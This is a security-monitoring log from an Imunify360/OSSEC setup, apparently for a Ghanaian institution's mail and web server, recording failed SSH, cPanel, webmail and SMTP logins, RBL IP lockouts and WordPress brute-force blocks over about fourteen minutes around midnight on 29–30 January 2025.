[2025-01-29 23:58:51 +0100] info [cpaneld] 212.227.201.53 - (iric.usadministratorindex.php) "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:58:02 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.191.0.28
description:
[2025-01-29 23:58:06 +0100] info [webmaild] 188.191.0.28 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.239.169.52
description:
Jan 29 23:59:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.239.169.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 20.51.226.207
description:
Jan 29 23:59:49 ait sshd[567245]: pam_imunify(sshd:auth): [IM360_RBL] The IP 20.51.226.207 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.161.218.70
description:
[2025-01-29 23:59:35 +0100] info [webmaild] 131.161.218.70 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.126.65.135
description:
Jan 29 23:59:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.126.65.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.126.65.135
description:
2025-01-29 23:59:24 dovecot_plain authenticator failed for ([216.126.65.135]) [216.126.65.135]:45543: 535 Incorrect authentication data (set_id=ads17a00060y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.140.1.50
description:
2025-01-29 23:59:25 dovecot_plain authenticator failed for ([113.140.1.50]) [113.140.1.50]:41411: 535 Incorrect authentication data (set_id=mappiah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.244.93.211
description:
2025-01-29 23:59:32 dovecot_plain authenticator failed for dhcp-cc-be-59-cb-54-fa.cpe.i-zoom.net [24.244.93.211]:47625: 535 Incorrect authentication data (set_id=ads17a00060y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.227.201.53
description:
[2025-01-29 23:59:37 +0100] info [whostmgrd] 212.227.201.53 - (iric.usadministratorindex.php) "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.45.42.80
description:
Jan 29 23:59:48 ait sshd[567243]: pam_imunify(sshd:auth): [IM360_RBL] The IP 31.45.42.80 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 31.45.42.80
description:
Jan 29 23:59:48 ait sshd[567243]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.45.42.80


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 20.51.226.207
description:
Jan 29 23:59:49 ait sshd[567245]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=20.51.226.207  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.140.1.50
description:
Jan 29 23:59:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.140.1.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.244.93.211
description:
Jan 29 23:59:30 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.244.93.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.239.169.52
description:
2025-01-29 23:59:35 dovecot_plain authenticator failed for ([124.239.169.52]) [124.239.169.52]:47263: 535 Incorrect authentication data (set_id=mappiah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.197.138.18
description:
[2025-01-29 23:59:52 +0100] info [webmaild] 168.197.138.18 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.142.162.1
description:
Jan 30 00:00:00 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.142.162.1 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.142.162.1
description:
2025-01-30 00:00:02 dovecot_plain authenticator failed for (eyely) [37.142.162.1]:56640: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.225.239.47
description:
[2025-01-30 00:01:00 +0100] info [webmaild] 41.225.239.47 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.106.73
description:
Jan 30 00:01:09 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.106.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.226.171
description:
Jan 30 00:00:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.226.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
description:
2025-01-30 00:00:59 dovecot_plain authenticator failed for vps-b674cd8d.vps.ovh.net [51.68.226.171]:49808: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.106.73
description:
2025-01-30 00:01:11 dovecot_plain authenticator failed for (187-50-84-19.customer.tdatabrasil.net.br) [177.43.106.73]:38699: 535 Incorrect authentication data (set_id=ads1700155y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 30 00:01:24 ait sshd[567999]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 30 00:01:24 ait sshd[567999]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.189.9.43
description:
[2025-01-30 00:01:49 +0100] info [webmaild] 191.189.9.43 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 30 00:02:23 ait sshd[568275]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.86.209.86
description:
Jan 30 00:02:06 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.86.209.86 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.5.196.109
description:
[2025-01-30 00:02:07 +0100] info [webmaild] 191.5.196.109 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.27.234.178
description:
2025-01-30 00:02:20 dovecot_plain authenticator failed for ([71.27.234.178]) [71.27.234.178]:50748: 535 Incorrect authentication data (set_id=ads21b00153y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 30 00:02:23 ait sshd[568275]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.86.209.86
description:
2025-01-30 00:02:08 dovecot_plain authenticator failed for ([106.86.209.86]) [106.86.209.86]:5534: 535 Incorrect authentication data (set_id=ads21b00153y@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.49.136
description:
47.128.49.136 - - [30/Jan/2025:00:02:09 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=16248847 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/9/?duration=short%2Clong&filtering=1&instructor=2&level=intermediate%2Cbeginner" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.49.136


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.27.234.178
description:
Jan 30 00:02:18 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.27.234.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 91.207.245.197
description:
[2025-01-30 00:01:54 +0100] info [webmaild] 91.207.245.197 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.61.118.30
description:
[2025-01-30 00:03:44 +0100] info [webmaild] 190.61.118.30 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 80.83.21.114
description:
[2025-01-30 00:02:59 +0100] info [webmaild] 80.83.21.114 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 30 00:03:37 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.45.246
description:
47.128.45.246 - - [30/Jan/2025:00:02:58 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=11464908 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/course-tag/data-modeling/?filtering=1&instructor=2" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.45.246


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.225.144.201
description:
[2025-01-30 00:03:18 +0100] info [webmaild] 186.225.144.201 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-03.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 30 00:04:31 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.11.20.130
description:
Jan 30 00:05:09 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.11.20.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.129.94
description:
Jan 30 00:05:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.129.94 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.19.50.59
description:
[2025-01-30 00:04:55 +0100] info [webmaild] 187.19.50.59 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.11.20.130
description:
2025-01-30 00:05:11 dovecot_plain authenticator failed for ([60.11.20.130]) [60.11.20.130]:51266: 535 Incorrect authentication data (set_id=jobs@jaster.us)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.117.168.44
description:
2025-01-30 00:05:20 dovecot_plain authenticator failed for syn-068-117-168-044.res.spectrum.com [68.117.168.44]:58241: 535 Incorrect authentication data (set_id=jobs)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.37.212.85
description:
2025-01-30 00:05:24 dovecot_plain authenticator failed for host-176-37-212-85.b025.la.net.ua (acconch) [176.37.212.85]:55139: 535 Incorrect authentication data (set_id=ads14b00350y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.129.94
description:
2025-01-30 00:05:31 dovecot_plain authenticator failed for host-41-220-129-94.habari.co.tz ([197.250.7.50]) [41.220.129.94]:50650: 535 Incorrect authentication data (set_id=office@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.96.246.146
description:
Jan 30 00:05:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.96.246.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.96.246.146
description:
2025-01-30 00:05:41 dovecot_plain authenticator failed for ([66.96.246.146]) [66.96.246.146]:60666: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.199.183.172
description:
Jan 30 00:05:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.199.183.172 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.0.190.58
description:
[2025-01-30 00:04:55 +0100] info [webmaild] 168.0.190.58 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.117.168.44
description:
Jan 30 00:05:18 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.117.168.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.199.183.172
description:
2025-01-30 00:05:45 dovecot_plain authenticator failed for (172.183.199.112.unknown.m1.com.sg) [112.199.183.172]:41937: 535 Incorrect authentication data (set_id=dagyarko@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.37.212.85
description:
Jan 30 00:05:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.37.212.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.247.54
description:
2025-01-30 00:06:30 dovecot_plain authenticator failed for ([82.209.247.54]) [82.209.247.54]:41794: 535 Incorrect authentication data (set_id=eejour13)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.163.236.235
description:
Jan 30 00:06:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.163.236.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.163.236.235
description:
2025-01-30 00:06:42 dovecot_login authenticator failed for ([127.0.0.1]) [222.163.236.235]:51240: 535 Incorrect authentication data (set_id=ads21a00010y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.213.254.188
description:
2025-01-30 00:06:45 dovecot_login authenticator failed for ([127.0.0.1]) [117.213.254.188]:38782: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.159.117.51
description:
Jan 30 00:06:47 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.159.117.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.53.94.242
description:
2025-01-30 00:05:57 dovecot_plain authenticator failed for (www.nettlinx.com) [202.53.94.242]:59022: 535 Incorrect authentication data (set_id=dagyarko)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.219.117.186
description:
Jan 30 00:06:18 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.219.117.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.219.117.186
description:
2025-01-30 00:06:20 dovecot_plain authenticator failed for ([60.219.117.186]) [60.219.117.186]:54209: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 30 00:06:36 ait sshd[570087]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.53.94.242
description:
Jan 30 00:05:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.53.94.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.247.54
description:
Jan 30 00:06:28 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.247.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.247.192.94
description:
Jan 30 00:06:46 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.247.192.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.55.177.39
description:
2025-01-30 00:06:23 dovecot_plain authenticator failed for ([218.55.177.39]) [218.55.177.39]:36640: 535 Incorrect authentication data (set_id=eng19b00204y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.55.177.39
description:
Jan 30 00:06:21 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.55.177.39 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 30 00:06:36 ait sshd[570087]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.247.192.94
description:
2025-01-30 00:06:48 dovecot_plain authenticator failed for 186-247-192-94.user.veloxzone.com.br ([179.236.122.153]) [186.247.192.94]:36526: 535 Incorrect authentication data (set_id=eng19b00204y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.159.117.51
description:
2025-01-30 00:06:49 dovecot_login authenticator failed for ([127.0.0.1]) [178.159.117.51]:53268: 535 Incorrect authentication data (set_id=ads21a00010y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 62.162.133.137
description:
[2025-01-30 00:05:59 +0100] info [webmaild] 62.162.133.137 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.120.58.228
description:
Jan 30 00:07:34 ait sshd[570339]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.120.58.228 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 85.107.111.241
description:
[2025-01-30 00:07:00 +0100] info [webmaild] 85.107.111.241 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
description:
2025-01-30 00:07:08 dovecot_login authenticator failed for 221-120-57-125.emome-ip.hinet.net [221.120.57.125]:59672: 535 Incorrect authentication data (set_id=info@elmisa.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
description:
2025-01-30 00:07:24 dovecot_login authenticator failed for ([203.252.10.3]) [203.252.10.3]:33759: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.120.57.125
description:
Jan 30 00:07:06 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.120.57.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.3
description:
Jan 30 00:07:22 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.3 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.118.215
description:
[2025-01-30 00:07:29 +0100] info [webmaild] 156.228.118.215 - ads19a00020y "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user ads19a00020y (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.56
description:
Jan 30 00:07:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.56
description:
2025-01-30 00:07:51 dovecot_plain authenticator failed for ([178.178.222.56]) [178.178.222.56]:53396: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 69.30.195.178
domain: mail.ait-open.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:Administrarot||WPU:Administrarot||RSV:6.65||T:APACHE||MV:00-07.69.30.195.178


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.120.58.228
description:
Jan 30 00:07:34 ait sshd[570339]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.120.58.228


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.60.146
description:
2025-01-30 00:08:37 dovecot_plain authenticator failed for ([180.168.60.146]) [180.168.60.146]:37458: 535 Incorrect authentication data (set_id=admin@elmisa.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.160.158
description:
Jan 30 00:08:52 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.160.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.51.220.33
description:
Jan 30 00:07:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.51.220.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.255.84.180
description:
2025-01-30 00:08:09 dovecot_plain authenticator failed for ns3042085.ip-51-255-84.eu (grang) [51.255.84.180]:39104: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.168.60.146
description:
Jan 30 00:08:35 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.168.60.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.255.84.180
description:
Jan 30 00:08:07 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.255.84.180 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.89.72.103
description:
[2025-01-30 00:08:17 +0100] info [webmaild] 190.89.72.103 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 43.254.45.44
description:
Jan 30 00:08:36 ait sshd[570633]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.254.45.44


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.51.220.33
description:
2025-01-30 00:08:00 dovecot_plain authenticator failed for (nsg-corporate-194.153.186.122.airtel.in) [106.51.220.33]:27874: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.254.45.44
description:
Jan 30 00:08:36 ait sshd[570633]: pam_imunify(sshd:auth): [IM360_RBL] The IP 43.254.45.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.200.160.158
description:
2025-01-30 00:08:54 dovecot_plain authenticator failed for 158.160.200.177.netflexisp.com.br [177.200.160.158]:59149: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 105.69.139.176
description:
[2025-01-30 00:09:18 +0100] info [webmaild] 105.69.139.176 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.0.16.4
description:
Jan 30 00:09:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.0.16.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.0.16.4
description:
2025-01-30 00:09:41 dovecot_plain authenticator failed for (exserne) [149.0.16.4]:48152: 535 Incorrect authentication data (set_id=tsikpo@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-11.80.76.51.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.225.173.219
description:
[2025-01-30 00:11:00 +0100] info [webmaild] 181.225.173.219 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.46.9.203
description:
[2025-01-30 00:11:17 +0100] info [webmaild] 181.46.9.203 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 146.70.163.214
description:
[2025-01-30 00:12:22 +0100] info [webmaild] 146.70.163.214 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.15.117.200
description:
2025-01-30 00:12:41 dovecot_plain authenticator failed for ([112.15.117.200]) [112.15.117.200]:54544: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.200.227.194
description:
Jan 30 00:12:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.200.227.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.123.219.82
description:
2025-01-30 00:12:50 dovecot_plain authenticator failed for ool-457bdb52.dyn.optonline.net (bemis) [69.123.219.82]:58436: 535 Incorrect authentication data (set_id=ads18b00116y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.239.164.190
description:
Jan 30 00:12:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.239.164.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.15.117.200
description:
Jan 30 00:12:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.15.117.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.200.227.194
description:
2025-01-30 00:12:45 dovecot_plain authenticator failed for ([196.200.227.194]) [196.200.227.194]:57366: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.123.219.82
description:
Jan 30 00:12:48 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.123.219.82 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.36.247
description:
